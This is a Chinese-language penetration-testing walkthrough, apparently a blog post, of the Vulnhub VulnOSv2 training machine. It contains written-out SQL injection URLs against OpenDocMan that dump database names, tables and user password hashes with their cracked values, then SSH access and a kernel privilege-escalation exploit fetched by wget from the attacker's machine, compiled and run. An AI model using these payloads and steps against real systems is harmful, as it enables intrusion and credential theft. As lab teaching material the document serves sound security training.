本篇文章旨在为网络安全渗透测试靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列VulnOSv2靶机有一定的了解
一、信息收集阶段
靶机地址:https://download.vulnhub.com/vulnos/VulnOSv2.7z
因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得到信息IP为:192.168.60.0/24
1、扫描网段,发现主机
nmap -sP 192.168.60.0/24
2、扫描主机详细信息
nmap -sT -sV -sC 192.168.60.174
#-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
#-sV 尝试确定每个打开端口上运行的服务的版本
#-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等
二、攻击阶段
1、web目录枚举
dirb http://192.168.60.174
2、登录jabcd0cs页面
http://192.168.60.174//jabcd0cs/
3、搜索历史漏洞
searchsploit opendocman |grep 1.2.7
4、下载利用exp
(1)下载exp查看
searchsploit opendocman -m 32075.txt
(2)访问注入点URL
http://192.168.60.174/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,user(),3,4,5,6,7,8,9
(3)爆库
http://192.168.60.174/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata
#结果:# information_schema,drupal7,jabcd0cs,mysql,performance_schema,phpmyadmin
(4)爆表(jabcd0cs表)
http://192.168.60.174/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables
where table_schema=database()
#结果:# odm_access_log,odm_admin,odm_category,odm_data,odm_department,odm_dept_perms,odm_dept_reviewer,odm_filetypes,odm_log,odm_odmsys,odm_rights,odm_settings,odm_udf,odm_user,odm_user_perms
(5)爆字段(jabcd0cs表),但是没有任何关于密码的字段
http://192.168.60.174/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,
group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns
where table_schema=database() and table_name=odm_user
(6)爆字段(jabcd0cs表)将字段替换成16进制爆破
http://192.168.60.174/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,
group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns
where table_schema=database() and table_name=0x6f646d5f75736572
#结果:id,username,password,department,phone,Email,last_name,first_name,pw_reset_code
(7)查密码
http://192.168.60.174/jabcd0cs/ajax_udf.php
?q=1
&add_value=odm_user%20UNION%20SELECT%201,
group_concat(username,password),3,4,5,6,7,8,9 from odm_user
#结果:
#webmin
#b78aae356709f8c31118ea613980954b # webmin1980
#guest
#084e0343a0486ff05530df6c705c8bb4 # guest
5、ssh连接
通过sql注入已知账号:webmin 密码:webmin1980
ssh webmin@192.168.60.174
三、提权阶段
1、python创建bin/bash终端
python -c "import pty;pty.spawn('/bin/bash')"
2、收集内核信息
lsb_release -a
uname -a
searchsploit 14.04 |grep 3.13
3、攻击机下载提权EXP
searchsploit 14.04 -m 37292.c
4、攻击机开启http微服务
python -m http.server 8088
5、靶机下载exp
cd /tmp #切换到tmp目录
wget http://192.168.60.128:8088/37292.c
6、靶机编译exp
gcc -o exp 37292.c
./exp
标签:http,60.174,VulnOSv2,jabcd0cs,192.168,odm,靶机,schema,Vulnhub From: https://blog.csdn.net/weixin_46926338/article/details/144980406